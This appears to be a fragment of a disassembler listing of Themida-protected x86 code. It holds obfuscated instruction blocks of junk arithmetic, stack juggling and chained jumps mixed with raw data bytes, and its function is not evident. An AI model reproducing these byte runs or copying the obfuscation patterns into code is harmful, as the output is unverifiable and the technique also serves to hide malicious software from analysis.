		dd 0F5815895h, 2DC117DFh, 8307EDC1h, 348904ECh,	336D6824h
		dd 38E97C33h
		db 0F5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_508233:				; CODE XREF: Themida_:0051599Aj
		mov	cl, dl
		jmp	loc_50F464
; ---------------------------------------------------------------------------
		dw 5453h
		dd 4C3815Bh, 57000000h,	4BFh, 5FFB0100h, 5C241C87h, 8704C383h
		dd 0FF5C241Ch, 0E99C240Ch, 0FFFFA86Bh, 0E9242C8Bh, 3C7Ah
; ---------------------------------------------------------------------------


loc_508268:				; CODE XREF: Themida_:005151A6j
		push	edi
		pop	eax
		push	dword ptr [esp]
		pop	edi
		push	esi
		mov	esi, esp
		jmp	loc_509112
; ---------------------------------------------------------------------------


loc_508276:				; CODE XREF: Themida_:00516A54j
		push	eax
		mov	eax, 63444360h
		xor	eax, 9CBBBC9Fh
		add	edx, eax
		pop	eax
		add	edx, 0AC790B3Ah
		mov	ebp, edx
		pop	edx
		dec	ebp
		and	ebp, 43D52FB1h
		add	ebp, 0C61D214h
		sub	edx, ebp
		pop	ebp
		and	eax, edx
		pop	edx
		jmp	loc_50D1C4
; ---------------------------------------------------------------------------
		db 59h,	1, 74h
		dd 8B5E0424h, 0E0E9240Ch, 810000C5h, 0EEBA12F3h, 5BDA01DEh
		dd 5A36C181h, 0DFE97EC3h, 5B000057h, 58F468h, 241C8900h
		dd 39DDE9h, 327A6800h, 0E95B73A2h, 0E4FFh, 81241C8Bh, 4C4h
		dd 78BF2D00h, 0D02935C6h, 5464E9h, 81E58900h, 4C5h, 76616800h
		dd 7FE90000h, 81000078h, 7C147CEBh, 0EB8170h, 504FE003h
		dd 0A3E9D889h, 54000088h, 0E924048Fh, 0C427h
; ---------------------------------------------------------------------------


loc_508324:				; CODE XREF: Themida_:0050F9DAj
		push	2A00h
		jmp	loc_5115B5
; ---------------------------------------------------------------------------


loc_50832E:				; CODE XREF: Themida_:0050B93Fj
		xor	eax, 4BB200Eh
		mov	edi, eax
		pop	eax
		push	edx
		mov	edx, 6ADA05D9h
		shl	edx, 4
		jmp	loc_517F33
; ---------------------------------------------------------------------------
dword_508344	dd 240C8B66h, 4A97E9h, 1CED8000h, 5062CD80h, 0F3ACE9h
					; DATA XREF: Themida_:00502A50o
		dd 2DE68100h, 53390E52h, 1909E9BBh, 5BDE3162h, 4EC8351h
		dd 68240489h, 9CE2A620h, 4064E9h
		db 0
; ---------------------------------------------------------------------------


loc_508379:				; CODE XREF: Themida_:00504C15j
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5169B0
; ---------------------------------------------------------------------------
aZS		db 'Z,',7,'éË',7,0
		dd 59EF8800h, 4EC81h, 4890000h,	667DB424h, 88CA8852h, 66D488E1h
		dd 86D1F65Ah, 80C4FECCh, 0B3533FF4h, 0E9CBFE4Fh, 0D8Eh
; ---------------------------------------------------------------------------


loc_5083B8:				; CODE XREF: Themida_:0050ADA6j
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		sub	ecx, 33EC397Eh
		add	ecx, ebx
		add	ecx, 33EC397Eh
		jmp	loc_5096E3
; ---------------------------------------------------------------------------
		db 5
		dd 69CE56ABh, 69E9D0F7h, 1FFFFC7h, 0EE2CE9F8h, 0EB800000h
		dd 4EC8365h, 89240C89h,	4C181E1h, 83000000h, 0E95104E9h
		dd 250h, 5404EC83h, 8324048Fh, 59042404h, 0BA49E950h, 8F590000h
		dd 3FE92404h, 5DFFFFD7h, 0DB8EE9h, 240C8B00h, 4C481h, 4010000h
		dd 242C8124h, 755A3A12h, 0FFA692E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_508439:				; CODE XREF: Themida_:00512783j
		sub	eax, 53F0113Ch
		add	eax, esi
		jmp	loc_514A3F
; ---------------------------------------------------------------------------
byte_508445	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00502A64o
		dd 0D359669Dh, 0E99C241Ch, 9712h, 0F07B4668h, 0E9535B4Eh
		dd 1F6Dh, 8904C483h, 0F0015FFEh, 5E2434FFh, 6804C483h
		dd 5EDBh, 2CFE9h, 24348900h, 2E2668h, 24248900h, 1C4DE9h
		db 0
byte_508489	db 53h,	54h, 5Bh	; DATA XREF: Themida_:00502980o
		dd 6D35BD55h, 0C58128C7h, 253A0417h, 0FFB565E9h, 4A924FFh
		dd 58C6880Ah, 0FFE54BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5084A9:				; CODE XREF: Themida_:0050C021j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_512750
; ---------------------------------------------------------------------------
		db 1
		dd 0F1C281CAh, 51511943h, 1E0A39B9h, 59CA0146h,	83240C8Bh
		dd 0C20104C4h, 62B7EA81h, 0F0E95855h, 83FFFFA5h, 0BB5301EAh
		dd 0AD65C99h, 0EF7CB81h, 0DBF74F17h, 0C227E9h, 8B686600h
		dd 84E9E945h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5084FA:				; CODE XREF: Themida_:0050A670j
		jmp	loc_502ACB
; ---------------------------------------------------------------------------
byte_5084FF	db 56h			; DATA XREF: Themida_:005029A8o
		dd 24348B54h, 5704C483h, 4BFh, 5FFE0100h, 4EE81h, 34330000h
		dd 0A808E924h, 48BFFFFh, 20E95524h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_508527:				; CODE XREF: Themida_:00513F90j
		mov	ecx, 2AD044C3h
		and	ecx, 0AA7C45h
		and	ecx, 528E7050h
		jmp	loc_50E7EC
; ---------------------------------------------------------------------------
a_s		db '_é}Ç',0
		dw 5100h
		dd 7B02BE56h, 22E94572h, 660000ACh, 0E90AF135h,	0FFFFBEBEh
; ---------------------------------------------------------------------------


loc_508558:				; CODE XREF: Themida_:0050FB81j
		push	7143h
		mov	[esp], esi
		pop	edi
		push	dword ptr [esp]
		jmp	loc_5168F4
; ---------------------------------------------------------------------------
		db 1, 0CDh, 59h
a31Ssx		db '3,$1,$é‘å',0
		dw 8B00h
		dd 51E92424h, 89FFFFD2h, 0FD1FE9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_508586:				; CODE XREF: Themida_:00512F95j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_50AC83
; ---------------------------------------------------------------------------
		dd 5528E681h, 0F6810771h, 44C22FD7h, 295EF789h,	0C2815FFAh
		dd 0E085BB5Bh, 0D27BC72Dh, 5D00111h, 11D27BC7h,	67CEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5085BD:				; CODE XREF: Themida_:00503B48j
		mov	eax, [esp]
		add	esp, 4
		push	184Bh
		jmp	loc_5159B9
; ---------------------------------------------------------------------------


loc_5085D0:				; CODE XREF: Themida_:005121CCj
		not	dword ptr [esp]
		pop	edi
		shl	edi, 5
		push	edx
		mov	edx, 41A20183h
		and	edx, 3C6D1EB1h
		add	edx, 790734F8h
		shl	edx, 5
		push	eax
		mov	eax, 0AFD7516h
		and	edx, eax
		jmp	loc_50A4D0
; ---------------------------------------------------------------------------
		db 0FEh, 44h, 24h
		dd 1C8B6601h, 2C48324h,	80F9C780h, 0C2E94EF7h, 81FFFFE1h
		dd 4C4h, 4EC8300h, 0B9240C89h, 0FFFFFFFFh, 3548C781h, 0CF017CB4h
		dd 3548EF81h, 81597CB4h, 9A27A9F7h, 8BFA8956h, 0C481243Ch
		dd 4, 0FFF948E9h, 4C481FFh, 0E9000000h,	0FFFFCF41h, 42474FFh
		dd 24048F59h, 2414895Ch, 2FE9BBB2h
		db 0D8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_508663:				; CODE XREF: Themida_:0050FFCDj
		mov	bl, 6Eh
		sub	al, bl
		pop	ebx
		add	al, 76h
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 37h
		or	bh, 0F8h
		shr	bh, 3
		or	bh, 84h
		jmp	loc_51613A
; ---------------------------------------------------------------------------
		dd 215F68h, 0CCA0E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50868A:				; CODE XREF: Themida_:005086C3j
		push	4
		pop	edx
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	66C7h
		mov	[esp], esi
		push	ecx
		mov	ecx, esp
		jmp	loc_512874
; ---------------------------------------------------------------------------


loc_5086B9:				; CODE XREF: Themida_:00505DCFj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		jmp	loc_50868A
; ---------------------------------------------------------------------------
		dd 0E996FE87h, 6E7Bh, 8904EC83h, 46E9241Ch, 290000E5h
		dd 0D70158C7h, 934E9h
		db 0
; ---------------------------------------------------------------------------


loc_5086E5:				; CODE XREF: Themida_:00514820j
		add	ebp, esi
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 543A7E43h
		push	ebp
		mov	ebp, 58733E6Ah
		add	[esp+8], ebp
		pop	ebp
		jmp	loc_5044E4
; ---------------------------------------------------------------------------
		dw 15Dh
aS_7		db 'Âéœì',0
		align 2
		dw 76BFh
		dd 0C12BFE20h, 0D7F702E7h, 4EC81h, 0C6E90000h
		db 0F8h, 2 dup(0FFh)
byte_50872F	db 64h			; DATA XREF: Themida_:005029FCo
		dd 2B60F66h, 8904EC83h,	0E9542434h, 0B3F7h, 0E9241C89h
		dd 0FFFFC4DCh, 57243489h, 0EDEE9h, 606F6800h, 4890000h
		dd 3571E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50875E:				; CODE XREF: Themida_:00505073j
		add	esp, 4
		jmp	loc_50FFD2
; ---------------------------------------------------------------------------


loc_508769:				; CODE XREF: Themida_:0050D025j
		sub	ebp, 4
		jmp	loc_511DA8
; ---------------------------------------------------------------------------


loc_508774:				; CODE XREF: Themida_:00512FADj
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_51171D
; ---------------------------------------------------------------------------
		db 83h
		dd 0CE904ECh
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_508787:				; CODE XREF: Themida_:00504A0Dj
		add	ecx, 54C05DFh
		add	ecx, eax
		sub	ecx, 54C05DFh
		jmp	loc_51107A
; ---------------------------------------------------------------------------
		dw 0BAB9h
		dd 0BA55D60Dh, 55D60DBEh, 0E959CA29h, 0FFFFB63Fh, 0C781D701h
		dd 0B4046ACh, 4BA525Ah,	81000000h, 0BE0E53EFh, 578BE91Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5087C6:				; CODE XREF: Themida_:00516C16j
		mov	[esp], eax
		push	5A5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		jmp	loc_504026
; ---------------------------------------------------------------------------


loc_5087E3:				; CODE XREF: Themida_:0050DD8Bj
		xor	[esp], ebx
		jmp	loc_503EA3
; ---------------------------------------------------------------------------
		db 83h
		dd 9DE904C4h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5087F3:				; CODE XREF: Themida_:0050AF94j
		pop	ecx
		add	esp, 4
		add	ebx, 38054DEEh
		xchg	ecx, ebx
		not	ecx
		xchg	ecx, ebx
		push	eax
		mov	eax, 1132F4Bh
		add	eax, 2EE32ADFh
		neg	eax
		shr	eax, 8
		push	ebp
		mov	ebp, 7AD816DDh
		push	edi
		jmp	loc_509A97
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5B25C181h, 0C8017527h, 0E9240C8Bh, 1FAEh
; ---------------------------------------------------------------------------


loc_508830:				; CODE XREF: Themida_:0050734Aj
		mov	edx, 4
		jmp	loc_510FB1
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0EC832404h, 24248904h, 4240481h, 0E9000000h,	4FDCh
; ---------------------------------------------------------------------------


loc_508850:				; CODE XREF: Themida_:0050DF7Fj
		add	esp, 4
		push	5B07h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edi
		add	dword ptr [esp], 33644FD8h
		pop	ecx
		sub	ecx, 33644FD8h
		mov	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_512121
; ---------------------------------------------------------------------------
aZfpLUsU	db 'ZfP´L(ãéÊž',0
		align 4


loc_50888C:				; CODE XREF: Themida_:005139EFj
		mov	esi, 3A652673h
		add	esi, 2CD7E9C4h
		sub	edi, 514E1BDFh
		jmp	loc_509BCF
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFFC24Ah, 582434FFh, 5304C483h, 468h, 14055B00h, 0E911DA7Dh
		dd 0FFFFCAC3h, 8033CF80h, 0A1E9D5C7h, 80FFFFF7h, 0C3283FEBh
		dd 0E93FC380h, 0D832h, 0C681E689h, 4, 4C681h, 34870000h
		dd 0EA815C24h, 104910AAh, 391CE9h, 241C8900h, 8D79E9h
		dd 2474FF00h, 48F5A04h,	3C895C24h, 2474FF24h, 0E9E95F04h
		dd 5E000073h, 8324348Bh, 0E95204C4h, 0FFFFBA24h
; ---------------------------------------------------------------------------


loc_508920:				; CODE XREF: Themida_:00507492j
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_50D4C2
; ---------------------------------------------------------------------------
		dd offset dword_450050+0D518h
		dd 241C8900h, 0E915B551h, 0FFFFFA09h, 40D4ED81h, 0B8E94C80h
		dd 68FFFFE9h, 417C7F65h, 81242C8Bh, 4C4h, 91F58100h, 0C134C14Eh
		dd 0E58108E5h, 658F62A1h, 0B8B8C581h, 59554243h, 53E9815Dh
		dd 10173B8h, 240C8BC8h,	8104C483h, 4ECh, 24048900h, 16685854h
		dd 8900003Bh, 4B9240Ch,	1000000h, 0B9CFE9C8h, 4F350000h
		dd 2982A9DEh, 0FB70E9C1h, 555BFFFFh, 3DE95251h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5089B7:				; CODE XREF: Themida_:00512F8Aj
		push	ecx
		mov	ecx, 2BE854E8h
		not	ecx
		jmp	loc_503792
; ---------------------------------------------------------------------------
		dd 8904EC83h, 5A542414h, 0FFC818E9h, 0C8B60FFFh, 403468h
		dd 240C8900h, 0FFA0EAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5089E1:				; CODE XREF: Themida_:00512A26j
		push	ebx
		mov	ebx, 24995ED5h
		not	ebx
		jmp	loc_515AFC
; ---------------------------------------------------------------------------
aN1Hn9		db '­1Øh9',0           ; DATA XREF: Themida_:005027F4o
		align 2
		dw 2C89h
		dd 4EC8324h, 68243C89h,	6D95627Ah, 976AE95Fh, 524D0000h
		dd 317617BAh, 0C1DAF76Dh, 0EAC103E2h, 81EDE903h, 0A8E90000h
		dd 51FFFFA0h, 2C1C6850h, 0CE9287Bh, 0FF000035h,	0E9042474h
		dd 4673h, 815BD931h, 7A36E7E9h,	0E1895141h, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 5D240C89h, 5AEB8159h, 0E946D261h, 0D364h
		dd 24348156h, 9D72037h,	37F18159h, 5E09D720h, 8324148Bh
		dd 40E904C4h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_508A7F:				; CODE XREF: Themida_:005074A8j
		mov	edi, ebp
		pop	ebp
		jmp	loc_514EF8
; ---------------------------------------------------------------------------
		db 56h
		dd 0BB535E54h, 4, 835BDE01h, 348704C6h,	7F3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_508A9E:				; CODE XREF: Themida_:0050CC57j
		add	eax, ebp
		add	eax, 783B0A65h
		jmp	loc_512F80
; ---------------------------------------------------------------------------
		dw 1C89h
aIus		db '$‰ãé×Ö',0
		align 4


loc_508AB4:				; CODE XREF: Themida_:0050940Dj
		or	[eax], ebp
		mov	ebp, [esp]
		push	edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		jmp	loc_50E49C
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 89000000h, 2434FFF3h, 0DFD4E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_508ADA:				; CODE XREF: Themida_:00514DE6j
		push	edx
		mov	edx, 492F6526h
		and	edx, 0F0A16FCh
		jmp	loc_514C97
; ---------------------------------------------------------------------------
		db 1
		dd 243C8BFBh, 4C481h, 5AE90000h, 830000F3h, 0CA0104C4h
		dd 3032E9h, 6E3C100h, 90BFC381h, 0D88921EDh, 993CE9h, 240C8B00h
		dd 8F04C483h, 665C2404h, 9C240421h, 0FF9FA2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_508B29:				; CODE XREF: Themida_:00510427j
		push	ebx
		push	edi
		mov	edi, 201C3F9Ch
		dec	edi
		shl	edi, 8
		not	edi
		jmp	loc_50C18E
; ---------------------------------------------------------------------------


loc_508B3B:				; CODE XREF: Themida_:005096DEj
		mov	ebx, 38FD4F9Eh
		sub	ecx, ebx
		pop	ebx
		jmp	loc_50AADC
; ---------------------------------------------------------------------------
		dd 0EC81D4B7h, 4, 0E9241489h, 0D7C8h, 6904B22Ch, 692CF828h
		dd 0B652B204h, 5AF00007h, 8B66912Ch, 0C481241Ch, 2, 22A6E9h
		dd 241C8700h, 0B87EE95Ch, 8F59FFFFh, 835C2404h,	348904ECh
		dd 4932BE24h, 0F6815702h, 57024936h, 835EF301h,	7BE904ECh
		dd 530000ACh, 0C37671BBh, 0D3EEE919h, 68530000h, 7DB3120Fh
		dd 5BDF215Bh, 0BB9AF781h, 8CE92BF6h
		db 0BCh, 2 dup(0)
byte_508BC3	db 0FFh			; DATA XREF: Themida_:005029D0o
		dd 34FF2434h, 89515824h, 4C181E1h, 83000000h, 0C8704C1h
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 5E292ED5h
		push	72Fh
		mov	[esp], ebx
		mov	ebx, 1F1029F3h
		push	ebx
		add	dword ptr [esp], 1
		pop	ebx
		add	ebx, 55F71CB7h
		sub	ebx, 5F122B09h
		jmp	loc_516B5C
; ---------------------------------------------------------------------------


loc_508C07:				; CODE XREF: Themida_:00509FF8j
		mov	edi, 3E477F57h
		mov	ecx, 40477F57h
		sub	ecx, edi
		jmp	loc_512E51
; ---------------------------------------------------------------------------
a0S		db '0ÕéÒ',0Bh,0
		dw 2900h
		dd 60E958C7h, 89FFFFCFh, 4812424h, 424h, 0C78E900h, 248B0000h
		dd 66E9F624h, 68CCB60Fh, 42FBh,	54241489h, 66E5685Ah, 4890000h
		dd 90E95324h, 54000010h, 2DB2E9h, 40500h, 0C0830000h, 24048704h
		dd 24048F5Ch, 6624248Bh, 2404B30Fh, 9D17E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_508C7A:				; CODE XREF: Themida_:00512842j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	ebp
		jmp	loc_50640E
; ---------------------------------------------------------------------------
		db 89h
		dd 7968242Ch, 0E9671B18h, 0B470h
; ---------------------------------------------------------------------------


loc_508C9C:				; CODE XREF: Themida_:0050EB96j
		pop	edi
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_504973
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0CB682414h, 89000025h, 0FF682434h, 0FFFFFFFBh, 815E2434h
		dd 4C4h, 0E9F28900h, 0D5CEh, 2C181h, 0C870000h,	24248B24h
		dd 24040166h, 9DDDE99Ch, 0DF29FFFFh, 44E95E5Bh,	5B00006Fh
		dd 4F8FF581h, 3FE9223Eh
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_508D03:				; CODE XREF: Themida_:00506E79j
		add	edi, edx
		jmp	loc_516701
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0C1F9h, 5804C483h, 9E3E9h
		db 0
; ---------------------------------------------------------------------------


loc_508D19:				; CODE XREF: Themida_:0050AB13j
		mov	edi, 4
		add	ebx, edi
		pop	edi
		push	eax
		mov	eax, 659640EBh
		dec	eax
		jmp	loc_514365
; ---------------------------------------------------------------------------
		db 83h,	0EBh, 0FFh
		dd 2CBEB951h, 0CB0162CBh, 15EDE9h, 243C8900h, 4BFh, 5FFB0100h
		dd 4EC81h, 34890000h, 4BE24h, 7FE90000h, 8900009Bh, 6943E9C5h
		dd 0C6010000h, 9C8BD55h, 0E581668Eh, 0ED41D89h,	4EE9D5F7h
		dd 8BFFFFC3h, 0C483242Ch, 4C48304h, 140068h, 24048900h
		dd 5556E089h, 0A0168h, 0C3DCE900h, 8952FFFFh, 4C281E2h
		dd 68000000h, 13F9h, 0E9242C89h, 4838h,	68241489h, 2556h
		dd 24048F54h, 4240481h,	8B000000h, 8E92414h, 30FFFFCBh
		dd 0B083E9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_508DCE:				; CODE XREF: Themida_:0050C1BAj
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		push	eax
		mov	eax, 45BC5B78h
		neg	eax
		jmp	loc_507B32
; ---------------------------------------------------------------------------
		dd 48BC289h, 42F9E924h,	4BF0000h, 1000000h, 3E95FF8h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_508E0F:				; CODE XREF: Themida_:0050AC88j
		push	esp
		pop	ecx
		jmp	loc_50BDA5
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815F24h, 4, 0FFC477E9h, 4C681FFh,	87000000h, 8F5C2434h
		dd 248B2404h, 0D6EB8124h, 83118F3Ah, 348904ECh,	60996824h
		dd 815E3BAEh, 4ECh, 12B1E900h, 91BE0000h, 0E906E15Eh, 0CBFCh
		dd 45ADF281h, 0D6316A61h, 0FFC795E9h, 72BF57FFh, 0C150360Ah
		dd 0EFD103EFh, 0D102E7C1h, 0CBC781EFh, 216945A6h, 0F6815FFEh
		dd 16C01C58h, 6DE9F101h, 1000057h, 241C8BDEh, 0AD66E9h
		dd 81E1D100h, 800622E9h, 59CA0102h, 0FF9D58E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_508EA9:				; CODE XREF: Themida_:005030DFj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_507753
; ---------------------------------------------------------------------------
aLHP		db '‹$$h[P',0
		dd 240C8900h, 24BE6856h, 0C15E05F3h, 0EE8103EEh, 118748E9h
		dd 0F681D6F7h, 10C8E453h, 815EF189h, 8676B2EAh,	81CA0109h
		dd 8676B2C2h, 0D5FFE909h, 55520000h, 873F5BDh, 0B0CAE934h
		dd 0F168FFFFh, 89000005h, 0E9542404h, 0FFFFF998h, 58C1295Dh
		dd 0BF57E929h, 485346FEh, 393C181h, 0F90156CCh,	393E981h
		dd 3C8B56CCh, 4C48324h,	5D2434FFh, 4C481h, 0C870000h, 0BE2AE924h
		dd 0EE890000h, 0C181E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_508F4A:				; CODE XREF: Themida_:005076EEj
		push	esp
		pop	edx
		jmp	loc_514DE0
; ---------------------------------------------------------------------------


loc_508F51:				; CODE XREF: Themida_:00515821j
		mov	[esp], ebp
		mov	ebp, 516D1105h
		mov	ebx, 516D1109h
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, ebx
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_502ACB
; ---------------------------------------------------------------------------


loc_508F80:				; CODE XREF: Themida_:005044C3j
		pop	dword ptr [esp]
		push	3273h
		mov	[esp], edx
		xchg	edx, [esp]
		not	edx
		push	edx
		jmp	loc_50C5AD
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 242C8BE8h, 5004C483h, 42474FFh, 24048F58h, 0D324248Bh
		dd 0E99C2424h, 9244h, 61031C25h, 48D43512h, 26E93CCBh
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_508FC3:				; CODE XREF: Themida_:0050E779j
		sub	bl, cl
		pop	ecx
		push	edx
		jmp	loc_514602
; ---------------------------------------------------------------------------
		dd 0EA81EA31h, 1, 5E2EB951h, 0E9C15A23h, 70F18103h, 0E92A635Ch
		dd 2410h, 10656858h, 5AE90000h,	810000DEh, 4C5h, 4C58100h
		dd 87000000h, 0E95C242Ch, 77Eh,	81E18951h, 4C1h, 4C18300h
		dd 7B05E9h, 84C78100h, 5A05280Fh, 4EC81h, 1C890000h, 26824h
		dd 0DE90000h, 0BD0000A1h, 858B6C98h, 2C8BE929h,	0C199E924h
		dd 0C1010000h, 4E5DC181h, 48B1DCBh, 0E3895324h,	4C381h
		dd 0C3810000h, 4, 5C241C87h, 4C181h, 0D4680000h, 8900001Ch
		dd 74FF240Ch, 34FF0424h
		db 24h,	59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		push	1DBDh
		mov	[esp], eax
		jmp	loc_502ACB
; ---------------------------------------------------------------------------


loc_50909A:				; CODE XREF: Themida_:0050588Aj
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	3DD4h
		mov	[esp], ebx
		mov	ebx, 2B431B49h
		push	eax
		push	0FFFFFFFFh
		pop	eax
		jmp	loc_505F3D
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 87000000h,	895C2404h, 70BD242Ch, 0BE7DCF6Dh
		dd 78B3566Ah, 0E9FFEE83h, 534Ah
; ---------------------------------------------------------------------------


loc_5090DC:				; CODE XREF: Themida_:005178ACj
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		jmp	loc_50D60E
; ---------------------------------------------------------------------------
		dw 515Ch
		dd 42474FFh, 82A8E9h, 66B95100h, 0C1628B75h, 61E902E9h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50910B:				; CODE XREF: Themida_:00502F1Aj
		dec	bl
		jmp	loc_516DD9
; ---------------------------------------------------------------------------


loc_509112:				; CODE XREF: Themida_:00508271j
		push	ebp
		jmp	loc_5117DB
; ---------------------------------------------------------------------------
		dd 5C240C87h, 0E0B5E9h
		db 0
byte_509121	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00502930o
		dd 6658669Dh, 9C240411h, 0FF999AE9h, 5BE7B9FFh,	0C80158F4h
		dd 83240C8Bh, 0D82904C4h, 1D91E953h, 0EBC00000h, 80C3FE04h
		dd 0DC2029EBh, 66D685Bh, 0C890000h, 6670B124h, 2414F651h
		dd 0FFCD3EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_509165:				; CODE XREF: Themida_:005052C5j
		push	edi
		mov	edi, 49A94A98h
		add	[esp+4], edi
		pop	edi
		pop	ecx
		sub	ecx, 49A94A98h
		jmp	loc_50DE41
; ---------------------------------------------------------------------------
aHi		db '[hI,',0
		align 2
		dw 3C89h
		dd 53E78924h, 41F1E9h, 4C48300h, 5C24048Fh, 0BC83E950h
		dd 0C89FFFFh, 0F5F8E924h, 4735FFFFh, 50149F9Ch,	97242C81h
		dd 0E973DD50h, 7C54h, 0E95BDD30h, 82B7h, 7E8AC281h, 0B7E91DA7h
		dd 89FFFFA6h, 0ADBE2434h, 0E96CCC2Dh, 0D6A4h, 32170566h
		dd 257F68h, 24148900h, 71DEBA66h, 0F7665266h, 5A66241Ch
		dd 66D2F766h, 1499E281h, 958FE9h, 5A1BA00h, 0E95705C0h
		dd 0FFFFC902h, 6712F9BDh, 8BE8293Eh, 0C483242Ch, 39685304h
		dd 8BFBDB19h, 0C483241Ch, 5BD80104h, 8158C329h,	74D43CBh
		dd 2AB85048h, 0E9137032h, 9C56h, 0E9DA015Bh, 0FFFFA9E9h
		dd 5B2414F7h, 9325C381h, 4FE9378Ch
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50924B:				; CODE XREF: Themida_:00513D9Aj
		sub	dword ptr [esp+4], 2CED7D25h
		add	[esp+4], edi
		add	dword ptr [esp+4], 2CED7D25h
		push	edx
		mov	edx, 586B467Eh
		add	[esp+8], edx
		pop	edx
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_506FC8
; ---------------------------------------------------------------------------


loc_509282:				; CODE XREF: Themida_:0050DD38j
		mov	[esp], ebx
		mov	ebx, 0FFFFFFFFh
		sub	edx, ebx
		jmp	loc_516D44
; ---------------------------------------------------------------------------
		db 5Ch,	0FEh, 0C2h
		dd 0FFC52FE9h, 3AE959FFh, 8300002Fh, 148904ECh,	4599E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5092AA:				; CODE XREF: Themida_:00513610j
		mov	edx, edi
		jmp	loc_511AD4
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 0E9000000h, 2492h, 8358C729h, 0C8904ECh, 0C63EB924h
		dd 0CF31368Ah, 25E95759h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5092D3:				; CODE XREF: Themida_:00505061j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		shr	ecx, 0
		jmp	loc_506736
